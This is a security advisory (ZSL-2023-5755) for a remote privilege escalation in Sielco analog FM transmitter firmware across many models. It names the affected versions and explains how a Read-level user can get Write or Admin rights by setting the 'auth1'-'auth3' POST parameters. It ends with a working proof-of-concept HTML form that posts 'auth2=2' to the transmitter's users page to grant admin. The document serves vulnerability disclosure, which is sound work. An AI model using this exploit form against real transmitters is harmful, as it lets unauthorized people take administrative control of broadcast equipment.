Sielco Analog FM Transmitter 2.12 Remote Privilege Escalation

Vendor: Sielco S.r.l
Product web page:
Affected version: 2.12 (EXC5000GX)
                  2.12 (EXC120GX)
                  2.11 (EXC300GX)
                  2.10 (EXC1600GX)
                  2.10 (EXC2000GX)
                  2.08 (EXC1600GX)
                  2.08 (EXC1000GX)
                  2.07 (EXC3000GX)
                  2.06 (EXC5000GX)
                  1.7.7 (EXC30GT)
                  1.7.4 (EXC300GT)
                  1.7.4 (EXC100GT)
                  1.7.4 (EXC5000GT)
                  1.6.3 (EXC1000GT)
                  1.5.4 (EXC120GT)

Summary: Sielco designs and produces FM radio transmitters
for professional broadcasting. The in-house laboratory develops
standard and customised solutions to meet all needs. Whether
digital or analogue, each product is studied to ensure reliability,
resistance over time and a high standard of safety. Sielco
transmitters are distributed throughout the world and serve
many radios in Europe, South America, Africa, Oceania and China.

Desc: The application suffers from a privilege escalation vulnerability.
A user with Read permissions can elevate his/her privileges by sending
a HTTP POST request setting the parameter 'auth1' or 'auth2' or 'auth3'
to integer value '1' for Write or '2' for Admin permissions.

Tested on: lwIP/2.1.1

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

Advisory ID: ZSL-2023-5755
Advisory URL:


<form action="http://transmitter/protect/users.htm" method="POST">
<input name="pwd0" type="hidden" value=""/>
<input name="pwd0bis" type="hidden" value=""/>
<input name="user1" type="hidden" value=""/>
<input name="pwd1" type="hidden" value=""/>
<input name="pwd1bis" type="hidden" value=""/>
<input name="auth1" type="hidden" value=""/>
<input name="user2" type="hidden" value="test"/>
<input name="pwd2" type="hidden" value=""/>
<input name="pwd2bis" type="hidden" value=""/>
<input name="auth2" type="hidden" value="2"/>
<input name="user3" type="hidden" value=""/>
<input name="pwd3" type="hidden" value=""/>
<input name="pwd3bis" type="hidden" value=""/>
<input name="auth3" type="hidden" value=""/>
<input type="submit" value="Escalate"/>